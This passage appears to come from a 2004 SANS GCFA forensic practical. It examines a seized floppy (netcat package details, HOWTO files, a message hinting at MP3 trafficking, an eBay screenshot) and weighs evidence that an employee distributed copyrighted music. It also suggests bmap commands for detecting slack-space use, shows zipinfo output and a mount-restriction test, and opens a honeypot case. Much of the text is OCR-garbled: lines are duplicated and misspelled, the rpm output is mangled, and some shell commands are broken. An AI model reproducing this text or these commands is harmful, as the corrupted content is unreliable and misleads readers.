	(See heldal READIVIE file) developed to attach
	SIDIN and SIDOUT file descriptors between
	machines. This utility can be used to transfer any
	information contant between any machines in a
	information content between any machines in a
	large number of ways. While it is not itself
	suspicious, it indicates that John may have been
	interested in union a start to slands the destinate
	interested in using netcat to clandestinely
	communicate between systems.
	The following information was used by the rom
	utility in investigating the notest rom file:
	unity in investigating the netcat tpm me.
	[Iorensics@GCFA IIoppy_image]# rpm -qpi nc-
	1.10-16.1386.rpmrpm
	/usr/bin/nc
	/usr/share/doc/nc-1.10
	/usr/share/doc/nc-1.10/Changelog
	/usr/share/doc/nc-1.10/README
	/usr/share/doc/nc-1.10/scripts
	/usr/share/doc/nc-1.10/scripts/README
	/usr/share/doc/nc-1.10/scripts/alta
	/usr/share/doc/nc-1.10/scripts/bsh
	/usr/share/doc/nc-1.10/scripts/dist.sh
	/usr/share/doc/nc-1.10/scripts/irc
	/usr/share/doc/nc-1.10/scripts/iscan
	/usr/share/doc/nc-1.10/scripts/ncp
	/usr/share/doc/nc-1.10/scripts/probe
	/usr/share/doc/nc-1.10/scripts/web
	/usr/share/doc/nc-1.10/scripts/webproxy
	/usr/share/doc/nc-1.10/scripts/webrelay
	/usr/share/doc/nc-1.10/scripts/websearch
	/usr/share/man/man1/nc.1.gz
	,,,,
	[forensics@GCFA floppy image]# rpm -api nc-
	1.10-16.i386.rpmrpm
	Name : nc
	Relocations: (not relocateable)
	Version · 1 10
	Vender: Ped Hat Inc
<u>Cay</u>	Release · 16
	Ruild Date: Tul 22 Tul 2002 00.47.55 NM MOD
	Install Date: (not installed)
	Puild Most, actor
	Durra HOSL. aslest
	Surge PDM, no-1 10-16 and more
	Size • 11//7/
	Jiconse: CDI
	License: GFL
	Signature : DSA/SHAI, Tue U3 Sep 2002
	U2:30:55 PM MST, Key ID 219180cddb42a60e
	Packager : Red Hat, Inc.
	<http: bugzilla="" bugzilla.redhat.com=""></http:>
	Summary : Reads and writes data across
	network connections using TCP or UDP.
	Description :

Jason\_B\_Anderson\_GCFA

	actually nc), a simple utility for reading and writing data across network connections, using the TCP or UDP protocols. Netcat is intended to be a reliable back-end tool which can be used directly or driven by other programs and scripts. Netcat is also a feature-rich network debugging and exploration tool, since it can create many different connections and has many built-in capabilities.
./prog	This is the unknown binary that is comprehensively discussed in previous sections of the analysis.
./Docs/DVD-Playing-HOWTO-html.tar	This file appears to be publicly available documentation on DVD usage for Linux. While there is nothing suspicious in itself about this file, it supports the contention that John Price was interested in DVD usage, and possibly distribution using Linux.
./Docs/Kernel-HOWTO-html.tar.gz	This file appears to be publicly available documentation on kernel modifications for Linux. While there is nothing suspicious in itself about this file, it supports the contention that John Price was interested in kernel modification on Linux.
./Docs/Letter.doc	This appears to be a generic letter template. No suspicious finding resulted in investigation of this file.
./Docs/Mikemsg.doc	Contains the following text: 'Hey Mike, 'I received the latest batch of files last night and I'm ready to rock-n-roll (ha-ha). I have some advance orders for the next run. Call me soon.
	JP' This suggests that John Price may have been involved in trafficking music files such as MP3's.
./Docs/ MP3-HOWTO-html.tar.gz	This file appears to be publicly available documentation on mp3 usage on Linux. While there is nothing suspicious in itself about this file, it supports the contention that John Price was interested in MP3 usage on Linux
./Docs/Sound-HOWTO-html.tar.gz	This file appears to be publicly available documentation on MP3 usage on Linux. While there is nothing suspicious in itself about this file, it supports the contention that John Price was interested in the sound rendition capabilities on Linux As previously analyzed, this file utilized a block

./John/sect-num.gif	This gif file was found to contain the following
	image
	This image indicates that John may have been
	interested in learning about the mechanics of
	hard-drive make-up and data storage.
./John/sectors.gif	This image also indicates that John may have
	hard-drive make-up and data storage.
./John/ebav300.ipg	This file indicates that John Price may have been
	using Ebay, an on-line auction services site. While it doesn't necessarily suggest that John was using Ebay to distribute and profit from copyrighted material, it does justify further investigation.
	tens i matin i diama
	browse   sell ) services ( search ) help   community
	We're sorry, but the eBay system is temporarily unavailable.
	We extend our utmost apologies for this inconvenience, and we thank you for your patience.
	Please see The eBay Announcements Board for more information.
	The <u>Automatic Auction Extension Policy</u> provides details about when eBay will automatically extend auctions following an unscheduled outage.
$\bigcirc$	

# What evidence (if any) suggests JP was using corporate resources to distribute copyrighted material?

A thorough analysis of the data content of each of the files on the floppy, along with the data recovered from floppy slack space, along with the conditions of the data seizure

situation can all be assimilated to create a picture of evidence supporting the assertion that John Price may have used company systems to illegally copyrighted material.

#### Supporting evidence from the floppy data content analysis:

One significant source of evidence from the floppy data content analysis implicated JP in distribution of copyrighted material. It is the content of the ./Docs/Mikemsg.doc file. This message supports the suspicion that John Price was distributing copyrighted material. Specifically, it appears that JP intended humor in reference to the term: 'rock-n-roll.' Presumably this is a pun. In the context of the message, JP uses the term Rock-n-Role to signify that he has received batches of files and is ready to make use of them. The irony that John appears to be portraying could be attributed to the fact that 'Rock-n-Roll' is also indicative of a musical genre. This humor would make sense assuming that John intended to distribute copyrighted music of the rock-n-roll genre.

Another source of evidence that John was distributing copyrighted material is the implication from the./John/ebay300.jpg file that John was using or had used Ebay. Ebay is widely known for facilitating the connection between buyers and sellers for an astoundingly wide variety of goods - Many of which have found to be of questionable or illegal content. Empirical evidence supports the possibility that the 'advance order's referred to in ./Docs/Mikemsg.doc may have been a reference by JP to orders taken Ebay for copies of copyrighted material.

#### Supporting evidence from the floppy slack space data content analysis:

The only source of information retrieved from the slack space of the floppy image was a list of 4 URL's. The title of these URL's: "Ripped MP3s – Latest releases:" suggests that JP was retrieving mp3 audio files ripped (copied from CD media) over the Internet. The end of the text file contains the phrase: "\*\*\*NOT FOR DISTRIBUTION\*\*\*" This phrase suggests that the creator did not intend that the list of MP3 sources should be publicly shared. Further evidence exists in the fact that this data was hidden in the first place. Did John have contacts with people associated with these websites?

#### Supporting evidence from the conditions of data seizure:

Prior to evidence seizure, John Price apparently wiped the data from the hard disk on his company issued computer system. While circumstantial, this effort suggests that he wanted to deny authorities from analyzing the content of his system. Another interesting insight is that John did not merely delete all of the files from his computer. Having done so would have de-allocated the blocks and inodes associated with the data content, but would have left the data content and the slack space of the disk available for forensic recovery. Having gone to the trouble of wiping the data from the disk, JP ensured that forensic analysts would be unable to retrieve information via conventional data recovery means. The contention that JP had access to other computers, along with the fact that he had a portable floppy disk containing a statically linked copy of bmap 1.0.20, suggests that he may have used the slack space on these systems to store data related to the alleged distribution of copyrighted materials.

Summary of supporting evidence suggesting JP used corporate systems to distribute copyrighted material.

While circumstantial, the data recovered from the content of the floppy and the slack space of the floppy, along with the circumstances of the situation and the data seizure alone cannot offer compelling evidence that JP absolutely used company systems to distribute copyrighted material.

We suggest these next analysis steps to build a case proving beyond a reasonable doubt that JP used company systems to distribute copyrighted material:

- Analyze the contents of slack space and files on systems in which John Price may have had access.
- Contact and question owners of the systems identified in the URL's listed that were embedded in the contents of the file hidden in slack space on the floppy.
- Work with Law enforcement to contact E-bay Corporation to request records regarding John Prices usage of their system. Identify and analyze any transactions made or material advertised.
- Pursue possible non-conventional means of disk recovery on John Price's wiped company-issued computer hard-disk. Statistical Mass-spectrometry-based techniques may exist that could retrieve portions of the wiped disk, depending on whether JP wiped the disk with an insufficiently redundant number of wipes (The NSA considers 7 wipe iterations an acceptable amount that would render unconventional data recovery methods ineffective). This method is known to be expensive and may not be justified considering the severity of the possible crime.

#### Advice for System Administrators for detecting bmap usage

<pre>[forensics@GCFA floppy_image]# findexec /usr/bin/bmap</pre>	The find command can be
mode=chk {} \; 2>&1  grep has	used to execute bmap to
./Docs/Sound-HOWTO-html.tar.gz has slack	monitor slack space
[forensics@GCFA floppy image]#	content and alert only
	if successful as it
	recourses through a
	directory tree
	specified on the
	command line <sup>6</sup>
<pre>[forensics@GCFA floppy_image]# find /mnt/drive/GCFA/floppy/ -</pre>	Another example of a
exec /tmp/progmode=chk {} \; 2>&1  grep has	search on our analysis
/mnt/drive/GCFA/floppy/data file has slack	directories
/mnt/drive/GCFA/floppy/short file has slack	
/mnt/drive/GCFA/floppy/data has slack	

Based upon the results of the slack content search, the system administrator should use contact the incident handling team for further investigation.

If the bmap script used above where statically linked, it could be placed upon a floppy and transferred from system to system for verification, or be executed remotely over a network via the use of SSH.

It should be noted that this request should be considered carefully for production systems. Even though bmap is only reading data during invocation of the chk functionality, system administrators should be warned that bmap interacts directly with the disk image file, not constrained by the safety features associated with accessing disk-space via a much safer file-system interface. Management should resolve any priority challenges weighing business productivity and case importance.

# Additional Information

Appendix A: Full zip archive information from zipinfo -v command

```
[forensics@GCFA analysis directory]# zipinfo -v binary_v1_4.zip
Archive: binary v1 4.zip 459502 bytes 3 files
End-of-central-directory record:
_____
 Actual offset of end-of-central-dir record: 459460 (000702C4h)
Expected offset of end-of-central-dir record: 459460 (000702C4h)
 (based on the length of the central directory and its expected
offset)
 This zipfile constitutes the sole disk of a single-part archive; its
 central directory contains 3 entries. The central directory is 227
 (000000E3h) bytes long, and its (expected) offset in bytes from the
 beginning of the zipfile is 459233 (000701E1h).
 The zipfile comment is 20 bytes long and contains the following text:
================ zipfile comment begins
_____
GCFA binary analysis
======= zipfile comment ends
-----
Central directory entry #1:
_____
 fl-160703-jp1.dd.gz
 offset of local header from start of archive: 0 (0000000h) bytes
 file system or operating system of origin:
                                              Unix
                                              2.3
 version of encoding software:
 minimum file system compatibility required:
                                              MS-DOS, OS/2 or NT
FAT
 minimum software version required to extract:
                                              2.0
 compression method:
                                              deflated
 compression sub-type (deflation):
                                              normal
file security status: not encrypted
```

#### Jason\_B\_Anderson\_GCFA

Page 59 of 111 Author retains full rights.

© SANS Institute 2004,

extended local header: no 2003 Jul 15 file last modified on (DOS date/time): 23:03:02 file last modified on (UT extra field modtime): 2003 Jul 15 22:03:01 local file last modified on (UT extra field modtime): 2003 Jul 16 05:03:01 UTC 32-bit CRC value (hex): 037deebe compressed size: 458937 bytes 474162 bytes uncompressed size: length of filename: 19 characters length of extra field: 13 bytes 🦢 length of file comment: 0 characters disk number on which file begins: disk 1 apparent file type: binary -r----Unix file attributes (100400 octal): MS-DOS file attributes (01 hex): read-only The central-directory extra field contains: - A subfield with ID 0x5455 (universal time) and 5 data bytes. The local extra field has UTC/GMT modification/access times. - A subfield with ID 0x7855 (Unix UID/GID) and 0 data bytes. There is no file comment. Central directory entry #2: \_\_\_\_\_ fl-160703-jp1.dd.gz.md5 offset of local header from start of archive: 459007 (000700FFh) bvtes file system or operating system of origin: Unix version of encoding software: 2.3 MS-DOS, OS/2 or NT minimum file system compatibility required: FAT minimum software version required to extract: 1.0 compression method: none (stored) file security status: not encrypted extended local header: no file last modified on (DOS date/time): 2003 Jul 16 00:15:00 file last modified on (UT extra field modtime): 2003 Jul 15 23:14:59 local file last modified on (UT extra field modtime): 2003 Jul 16 06:14:59 UTC 75457d32 32-bit CRC value (hex): compressed size: 54 bytes uncompressed size: 54 bytes 23 characters length of filename: length of extra field: 13 bytes length of file comment: 0 characters disk number on which file begins: disk 1 apparent file type: text Unix file attributes (100644 octal): -rw-r--r--MS-DOS file attributes (00 hex): none

© SANS Institute 2004,

The central-directory extra field contains: - A subfield with ID 0x5455 (universal time) and 5 data bytes. The local extra field has UTC/GMT modification/access times. - A subfield with ID 0x7855 (Unix UID/GID) and 0 data bytes. There is no file comment. Central directory entry #3: prog.md5 offset of local header from start of archive: 459135 (0007017Fh) bytes file system or operating system of origin: Unix 2.3 version of encoding software: MS-DOS, OS/2 or NT minimum file system compatibility required: FAT minimum software version required to extract: 1 0 compression method: none (stored) file security status: not encrypted extended local header: no file last modified on (DOS date/time): 2003 Jul 16 00:14:38 file last modified on (UT extra field modtime): 2003 Jul 15 23:14:38 local file last modified on (UT extra field modtime): 2003 Jul 16 06:14:38 UTC 32-bit CRC value (hex): 804cc662 compressed size: 39 bytes uncompressed size: 39 bytes length of filename: 8 characters length of extra field: 13 bytes length of file comment: 0 characters disk number on which file begins: disk 1 text apparent file type: Unix file attributes (100644 octal): -rw-r--r--MS-DOS file attributes (00 hex): none The central-directory extra field contains: - A subfield with ID 0x5455 (universal time) and 5 data bytes. The local extra field has UTC/GMT modification/access times. - A subfield with ID 0x7855 (Unix UID/GID) and 0 data bytes. There is no file comment. 

#### Appendix B. Verification of restricted file-system mount options

We will verify that our new restricted loopback file system is behaving according to the restrictions that we used in the mount command. Specifically, we will ensure that we will neither mistakenly access nor mistakenly execute the malicious code.

[forensics@GCFA analysis directory]# touch	Here we use the Linux
access time test file	touch command to create a
	file we'll use to test the
	access time limitation.
[forensics@GCFA analysis directory]# date	We note the date
Fri Nov 28 18:04:41 MST 2003	
[forensics@GCFA analysis directory]# <pre>stat</pre>	Here we use the stat
access time test file	command to see the last
File: `access time test file'	access time of the file,
Size: 0 Blocks: 0	in this case: 2003-11-28
IO Block: 4096 Regular File	18:04:49.
Device: 701h/1793d Inode: 12	
Links: 1	
Access: (0644/-rw-rr-) Uid: ( 0/	. 62
root) Gid: ( 0/ root)	
Access: 2003-11-28 18:04:49.000000000 -0700	
Modify: 2003-11-28 18:04:49.000000000 -0700	
Change: 2003-11-28 18:04:49.000000000 -0700	
[forensics@GCFA analysis_directory]# date	Here we see that a few
Fri Nov 28 18:08:49 MST 2003	minutes have passed since
	the last access to our
	access time test file
[forensics@GCFA analysis_directory]# 11	The ll command typically
access_time_test_file	updates the access time by
-rw-rr 1 root root 0	querying them for listing
Nov 28 18:04 access_time_test_file	purposes.
[forensics@GCFA analysis_directory]# date	Here we see that a few
Fri Nov 28 18:09:23 MST 2003	minutes have passed since
	the last access to our
	the last access to our access time test file
[forensics@GCFA analysis_directory]# stat	the last access to our access time test file Here we see that the
[forensics@GCFA analysis_directory]# stat access_time_test_file	the last access to our access time test file Here we see that the Access time: Access: 2003-
<pre>[forensics@GCFA analysis_directory]# stat access_time_test_file File: `access_time_test_file' Size: 0</pre>	the last access to our access time test file Here we see that the Access time: Access: 2003- 11-28 18:04:49 was not
<pre>[forensics@GCFA analysis_directory]# stat access_time_test_file File: `access_time_test_file' Size: 0 Blocks: 0 IO Block: 4006 Bogular File</pre>	the last access to our access time test file Here we see that the Access time: Access: 2003- 11-28 18:04:49 was not changed by doing the
<pre>[forensics@GCFA analysis_directory]# stat access_time_test_file File: `access_time_test_file' Size: 0 Blocks: 0 IO Block: 4096 Regular File Device: 701b/1702d Incde: 12</pre>	the last access to our access time test file Here we see that the Access time: Access: 2003- 11-28 18:04:49 was not changed by doing the previous directory listing
<pre>[forensics@GCFA analysis_directory]# stat access_time_test_file File: `access_time_test_file' Size: 0 Blocks: 0 IO Block: 4096 Regular File Device: 701h/1793d Inode: 12 Linke: 1</pre>	the last access to our access time test file Here we see that the Access time: Access: 2003- 11-28 18:04:49 was not changed by doing the previous directory listing
<pre>[forensics@GCFA analysis_directory]# stat access_time_test_file File: `access_time_test_file' Size: 0 Blocks: 0 IO Block: 4096 Regular File Device: 701h/1793d Inode: 12 Links: 1 Desces: (0644(-ru-ru-ru-ru) Uid: ( 0/</pre>	the last access to our access time test file Here we see that the Access time: Access: 2003- 11-28 18:04:49 was not changed by doing the previous directory listing
<pre>[forensics@GCFA analysis_directory]# stat access_time_test_file File: `access_time_test_file' Size: 0 Blocks: 0 IO Block: 4096 Regular File Device: 701h/1793d Inode: 12 Links: 1 Access: (0644/-rw-rr) Uid: ( 0/ root) Cid: ( 0/ root)</pre>	the last access to our access time test file Here we see that the Access time: Access: 2003- 11-28 18:04:49 was not changed by doing the previous directory listing
<pre>[forensics@GCFA analysis_directory]# stat access_time_test_file File: `access_time_test_file' Size: 0 Blocks: 0 IO Block: 4096 Regular File Device: 701h/1793d Inode: 12 Links: 1 Access: (0644/-rw-rr) Uid: ( 0/ root) Gid: ( 0/ root) Access: 2003-11-28 18:04:49 000000000 =0700</pre>	the last access to our access time test file Here we see that the Access time: Access: 2003- 11-28 18:04:49 was not changed by doing the previous directory listing
<pre>[forensics@GCFA analysis_directory]# stat access_time_test_file File: `access_time_test_file' Size: 0 Blocks: 0 IO Block: 4096 Regular File Device: 701h/1793d Inode: 12 Links: 1 Access: (0644/-rw-rr) Uid: ( 0/ root) Gid: ( 0/ root) Access: 2003-11-28 18:04:49.000000000 -0700 Modify: 2003-11-28 18:04:49.000000000 -0700</pre>	the last access to our access time test file Here we see that the Access time: Access: 2003- 11-28 18:04:49 was not changed by doing the previous directory listing
<pre>[forensics@GCFA analysis_directory]# stat access_time_test_file File: `access_time_test_file' Size: 0 Blocks: 0 IO Block: 4096 Regular File Device: 701h/1793d Inode: 12 Links: 1 Access: (0644/-rw-rr) Uid: ( 0/ root) Gid: ( 0/ root) Access: 2003-11-28 18:04:49.000000000 -0700 Modify: 2003-11-28 18:04:49.000000000 -0700 Change: 2003-11-28 18:04:49.000000000 -0700</pre>	the last access to our access time test file Here we see that the Access time: Access: 2003- 11-28 18:04:49 was not changed by doing the previous directory listing
<pre>[forensics@GCFA analysis_directory] # stat access_time_test_file File: `access_time_test_file' Size: 0 Blocks: 0 IO Block: 4096 Regular File Device: 701h/1793d Inode: 12 Links: 1 Access: (0644/-rw-rr) Uid: ( 0/ root) Gid: ( 0/ root) Access: 2003-11-28 18:04:49.000000000 -0700 Modify: 2003-11-28 18:04:49.000000000 -0700 Change: 2003-11-28 18:04:49.000000000 -0700</pre>	the last access to our access time test file Here we see that the Access time: Access: 2003- 11-28 18:04:49 was not changed by doing the previous directory listing
<pre>[forensics@GCFA analysis_directory]# stat access_time_test_file File: `access_time_test_file' Size: 0 Blocks: 0 IO Block: 4096 Regular File Device: 701h/1793d Inode: 12 Links: 1 Access: (0644/-rw-rr) Uid: ( 0/ root) Gid: ( 0/ root) Access: 2003-11-28 18:04:49.000000000 -0700 Modify: 2003-11-28 18:04:49.000000000 -0700 Change: 2003-11-28 18:04:49.000000000 -0700 [forensics@GCFA analysis_directory]# cat &gt; executable_test_file</pre>	the last access to our access time test file Here we see that the Access time: Access: 2003- 11-28 18:04:49 was not changed by doing the previous directory listing Here we write a small executable script for
<pre>[forensics@GCFA analysis_directory]# stat access_time_test_file File: `access_time_test_file' Size: 0 Blocks: 0 IO Block: 4096 Regular File Device: 701h/1793d Inode: 12 Links: 1 Access: (0644/-rw-rr) Uid: ( 0/ root) Gid: ( 0/ root) Access: 2003-11-28 18:04:49.000000000 -0700 Modify: 2003-11-28 18:04:49.000000000 -0700 Change: 2003-11-28 18:04:49.000000000 -0700 [forensics@GCFA analysis_directory]# cat &gt; executable_test_file echo "Live been executed!"</pre>	the last access to our access time test file Here we see that the Access time: Access: 2003- 11-28 18:04:49 was not changed by doing the previous directory listing Here we write a small executable script for execution testing
<pre>[forensics@GCFA analysis_directory]# stat access_time_test_file File: `access_time_test_file' Size: 0 Blocks: 0 IO Block: 4096 Regular File Device: 701h/1793d Inode: 12 Links: 1 Access: (0644/-rw-rr) Uid: ( 0/ root) Gid: ( 0/ root) Access: 2003-11-28 18:04:49.000000000 -0700 Modify: 2003-11-28 18:04:49.000000000 -0700 Change: 2003-11-28 18:04:49.000000000 -0700 [forensics@GCFA analysis_directory]# cat &gt; executable_test_file echo "I've been executed!" <ctrl=d></ctrl=d></pre>	the last access to our access time test file Here we see that the Access time: Access: 2003- 11-28 18:04:49 was not changed by doing the previous directory listing Here we write a small executable script for execution testing purposes.
<pre>[forensics@GCFA analysis_directory]# stat access_time_test_file File: `access_time_test_file' Size: 0 Blocks: 0 IO Block: 4096 Regular File Device: 701h/1793d Inode: 12 Links: 1 Access: (0644/-rw-rr) Uid: ( 0/ root) Gid: ( 0/ root) Access: 2003-11-28 18:04:49.000000000 -0700 Modify: 2003-11-28 18:04:49.000000000 -0700 Change: 2003-11-28 18:04:49.000000000 -0700 [forensics@GCFA analysis_directory]# cat &gt; executable_test_file echo "I've been executed!" <ctrl-d></ctrl-d></pre>	the last access to our access time test file Here we see that the Access time: Access: 2003- 11-28 18:04:49 was not changed by doing the previous directory listing Here we write a small executable script for execution testing purposes.
<pre>[forensics@GCFA analysis_directory]# stat access_time_test_file File: `access_time_test_file' Size: 0 Blocks: 0 IO Block: 4096 Regular File Device: 701h/1793d Inode: 12 Links: 1 Access: (0644/-rw-rr) Uid: ( 0/ root) Gid: ( 0/ root) Access: 2003-11-28 18:04:49.000000000 -0700 Modify: 2003-11-28 18:04:49.000000000 -0700 Change: 2003-11-28 18:04:49.000000000 -0700 [forensics@GCFA analysis_directory]# cat &gt; executable_test_file echo "I've been executed!" <ctrl-d> [forensics@GCFA analysis_directory]# chmod tx executable_test_file</ctrl-d></pre>	the last access to our access time test file Here we see that the Access time: Access: 2003- 11-28 18:04:49 was not changed by doing the previous directory listing Here we write a small executable script for execution testing purposes. Here we enable the executable privilege for
<pre>[forensics@GCFA analysis_directory]# stat access_time_test_file File: `access_time_test_file' Size: 0 Blocks: 0 IO Block: 4096 Regular File Device: 701h/1793d Inode: 12 Links: 1 Access: (0644/-rw-rr) Uid: ( 0/ root) Gid: ( 0/ root) Access: 2003-11-28 18:04:49.000000000 -0700 Modify: 2003-11-28 18:04:49.000000000 -0700 Change: 2003-11-28 18:04:49.000000000 -0700 [forensics@GCFA analysis_directory]# cat &gt; executable_test_file echo "I've been executed!" <ctrl-d> [forensics@GCFA analysis_directory]# chmod +x executable_test_file</ctrl-d></pre>	the last access to our access time test file Here we see that the Access time: Access: 2003- 11-28 18:04:49 was not changed by doing the previous directory listing Here we write a small executable script for execution testing purposes. Here we enable the executable privilege for our execution test file
<pre>[forensics@GCFA analysis_directory] # stat access_time_test_file File: `access_time_test_file' Size: 0 Blocks: 0 IO Block: 4096 Regular File Device: 701h/1793d Inode: 12 Links: 1 Access: (0644/-rw-rr) Uid: ( 0/ root) Gid: ( 0/ root) Access: 2003-11-28 18:04:49.000000000 -0700 Modify: 2003-11-28 18:04:49.000000000 -0700 Change: 2003-11-28 18:04:49.000000000 -0700 [forensics@GCFA analysis_directory] # cat &gt; executable_test_file echo "I've been executed!" <ctrl-d> [forensics@GCFA analysis_directory] # chmod +x executable_test_file</ctrl-d></pre>	the last access to our access time test file Here we see that the Access time: Access: 2003- 11-28 18:04:49 was not changed by doing the previous directory listing Here we write a small executable script for executable script for execution testing purposes. Here we enable the executable privilege for our execution test file
<pre>[forensics@GCFA analysis_directory]# stat access_time_test_file File: `access_time_test_file' Size: 0 Blocks: 0 IO Block: 4096 Regular File Device: 701h/1793d Inode: 12 Links: 1 Access: (0644/-rw-rr) Uid: ( 0/ root) Gid: ( 0/ root) Access: 2003-11-28 18:04:49.000000000 -0700 Modify: 2003-11-28 18:04:49.000000000 -0700 Change: 2003-11-28 18:04:49.000000000 -0700 [forensics@GCFA analysis_directory]# cat &gt; executable_test_file echo "I've been executed!" <ctrl-d> [forensics@GCFA analysis_directory]# chmod +x executable_test_file [forensics@GCFA analysis_directory]# 11 executable_test_file</ctrl-d></pre>	the last access to our access time test file Here we see that the Access time: Access: 2003- 11-28 18:04:49 was not changed by doing the previous directory listing Here we write a small executable script for execution testing purposes. Here we enable the executable privilege for our execution test file Here we verify that we successfully modified the
<pre>[forensics@GCFA analysis_directory]# stat access_time_test_file File: `access_time_test_file' Size: 0 Blocks: 0 IO Block: 4096 Regular File Device: 701h/1793d Inode: 12 Links: 1 Access: (0644/-rw-rr) Uid: ( 0/ root) Gid: ( 0/ root) Access: 2003-11-28 18:04:49.000000000 -0700 Modify: 2003-11-28 18:04:49.000000000 -0700 Change: 2003-11-28 18:04:49.000000000 -0700 [forensics@GCFA analysis_directory]# cat &gt; executable_test_file echo "I've been executed!" <ctrl-d> [forensics@GCFA analysis_directory]# chmod +x executable_test_file [forensics@GCFA analysis_directory]# 11 executable_test_file [forensics@GCFA analysis_directory]# 11 executable_test_file [forensics@GCFA analysis_directory]# 11 executable_test_file [forensics@GCFA analysis_directory]# 11</ctrl-d></pre>	the last access to our access time test file Here we see that the Access time: Access: 2003- 11-28 18:04:49 was not changed by doing the previous directory listing Here we write a small executable script for execution testing purposes. Here we enable the executable privilege for our execution test file Here we verify that we successfully modified the execution test file to be
<pre>[forensics@GCFA analysis_directory]# stat access_time_test_file File: `access_time_test_file' Size: 0 Blocks: 0 IO Block: 4096 Regular File Device: 701h/1793d Inode: 12 Links: 1 Access: (0644/-rw-rr) Uid: ( 0/ root) Gid: ( 0/ root) Access: 2003-11-28 18:04:49.000000000 -0700 Modify: 2003-11-28 18:04:49.000000000 -0700 Change: 2003-11-28 18:04:49.000000000 -0700 [forensics@GCFA analysis_directory]# cat &gt; executable_test_file echo "I've been executed!" <ctrl-d> [forensics@GCFA analysis_directory]# chmod +x executable_test_file [forensics@GCFA analysis_directory]# 11 executable_test_file [forensics@GCFA analysis_directory]# 11 executable_test_file [forensics@GCFA analysis_directory]# 11 executable_test_file -rwxr-xr-x 1 root root 27 Nov 28 18:18 executable_test_file</ctrl-d></pre>	the last access to our access time test file Here we see that the Access time: Access: 2003- 11-28 18:04:49 was not changed by doing the previous directory listing Here we write a small executable script for execution testing purposes. Here we enable the executable privilege for our execution test file Here we verify that we successfully modified the executable. The first 'x'
<pre>[forensics@GCFA analysis_directory]# stat access_time_test_file File: `access_time_test_file' Size: 0 Blocks: 0 IO Block: 4096 Regular File Device: 701h/1793d Inode: 12 Links: 1 Access: (0644/-rw-rr) Uid: ( 0/ root) Gid: ( 0/ root) Access: 2003-11-28 18:04:49.000000000 -0700 Modify: 2003-11-28 18:04:49.000000000 -0700 Change: 2003-11-28 18:04:49.000000000 -0700 [forensics@GCFA analysis_directory]# cat &gt; executable_test_file echo "I've been executed!" <ctrl-d> [forensics@GCFA analysis_directory]# chmod +x executable_test_file [forensics@GCFA analysis_directory]# 11 executable_test_file -rwxr-xr-x 1 root root 27 Nov 28 18:18 executable_test_file [forensics@GCFA analysis_directory]#</ctrl-d></pre>	the last access to our access time test file Here we see that the Access time: Access: 2003- 11-28 18:04:49 was not changed by doing the previous directory listing Here we write a small executable script for execution testing purposes. Here we enable the executable privilege for our execution test file Here we verify that we successfully modified the executable. The first 'x' in the string '-rwxr-xr-x'
<pre>[forensics@GCFA analysis_directory]# stat access_time_test_file File: `access_time_test_file' Size: 0 Blocks: 0 IO Block: 4096 Regular File Device: 701h/1793d Inode: 12 Links: 1 Access: (0644/-rw-rr) Uid: ( 0/ root) Gid: ( 0/ root) Access: 2003-11-28 18:04:49.000000000 -0700 Modify: 2003-11-28 18:04:49.000000000 -0700 Change: 2003-11-28 18:04:49.000000000 -0700 [forensics@GCFA analysis_directory]# cat &gt; executable_test_file echo "I've been executed!" <ctrl-d> [forensics@GCFA analysis_directory]# chmod +x executable_test_file [forensics@GCFA analysis_directory]# 11 executable_test_file -rwxr-xr-x 1 root root 27 Nov 28 18:18 executable_test_file [forensics@GCFA analysis_directory]#</ctrl-d></pre>	the last access to our access time test file Here we see that the Access time: Access: 2003- 11-28 18:04:49 was not changed by doing the previous directory listing Here we write a small executable script for execution testing purposes. Here we enable the executable privilege for our execution test file Here we verify that we successfully modified the executable. The first 'x' in the string '-rwxr-xr-x' verifies this for us.
<pre>[forensics@GCFA analysis_directory]# stat access_time_test_file File: `access_time_test_file' Size: 0 Blocks: 0 IO Block: 4096 Regular File Device: 701h/1793d Inode: 12 Links: 1 Access: (0644/-rw-rr) Uid: ( 0/ root) Gid: ( 0/ root) Access: 2003-11-28 18:04:49.000000000 -0700 Modify: 2003-11-28 18:04:49.000000000 -0700 Change: 2003-11-28 18:04:49.000000000 -0700 [forensics@GCFA analysis_directory]# cat &gt; executable_test_file echo "I've been executed!" <ctrl-d> [forensics@GCFA analysis_directory]# chmod +x executable_test_file [forensics@GCFA analysis_directory]# 11 executable_test_file -rwxr-xr-x 1 root root 27 Nov 28 18:18 executable_test_file [forensics@GCFA analysis_directory]#</ctrl-d></pre>	the last access to our access time test file Here we see that the Access time: Access: 2003- 11-28 18:04:49 was not changed by doing the previous directory listing Here we write a small executable script for execution testing purposes. Here we enable the executable privilege for our execution test file Here we verify that we successfully modified the executable. The first 'x' in the string '-rwxr-xr-x' verifies this for us. Here we see that upon

#### Jason\_B\_Anderson\_GCFA

# Page 62 of 111

© SANS Institute 2004,

```
./executable_test_file
-bash: ./executable_test_file: Permission
denied
de
```

# References

<sup>1</sup> Bmap forensic tool, URL: <u>http://build.lnx-bbc.org/packages/fs/bmap.html</u>

<sup>2</sup> Executable and Linkable Format, URL: <u>http://www.skyfree.org/linux/references/ELF\_Format.pdf</u>

<sup>3</sup> Linux Standard Base Website, URL: <u>http://www.linuxbase.org/modules.php?name=FAQ&myfaq=yes&id\_cat=1&categories=</u> <u>General+Info#18</u>

<sup>4</sup> Encyclopedia: Executable and Linkable Format: URL: <u>http://www.nationmaster.com/encyclopedia/Executable-and-Linkable-Format</u>

<sup>5</sup> Strace Homepage, URL: <u>http://www.liacs.nl/~wichert/strace/</u>

<sup>6</sup> Peek, Jerry, O'Rielly, Tim, Loukides, Mike. <u>Unix Power Tools: 2<sup>nd</sup> Edition</u>. Sebastopol, CA: O'Reilly & Associates, 1997 223, 297

<sup>7</sup> Spitzner, Lance. <u>Honeypots: Tracking Hackers</u>. Boston, MA: Pearson, 2003, 243-249

<sup>8</sup> Bovet, Daniel P., Cesati, Marco. <u>Understanding the Linux Kernel: 2<sup>nd</sup> Edition</u>. Sebastopol, CA: O'Reilly & Associates, 2003, 574-607

<sup>9</sup> Vahalia, Uresh. <u>Unix Internals: The New Frontiers</u>. Upper Saddle River, NJ: Prentice Hall, Inc., 1996, 342

# Part 2 – Option 1: Perform Forensic Analysis on a system: Investigation of a Compromised RedHat 7.2 Virtual Honeypot

# Synopsis of Case Facts

A VMware-based virtual Redhat 7.2 honeypot was built using configuration outlined in the second generation honeypot standard<sup>1</sup> and was placed upon the Internet, to be compromised less than 2 hours later. A layer 2 Ethernet bridging firewall was used to route traffic transparently from the Internet to the Honeypot in such a way that attackers would be unable to detect the network control and monitoring configuration. Full packet capture was enabled on bridging interface of the firewall.

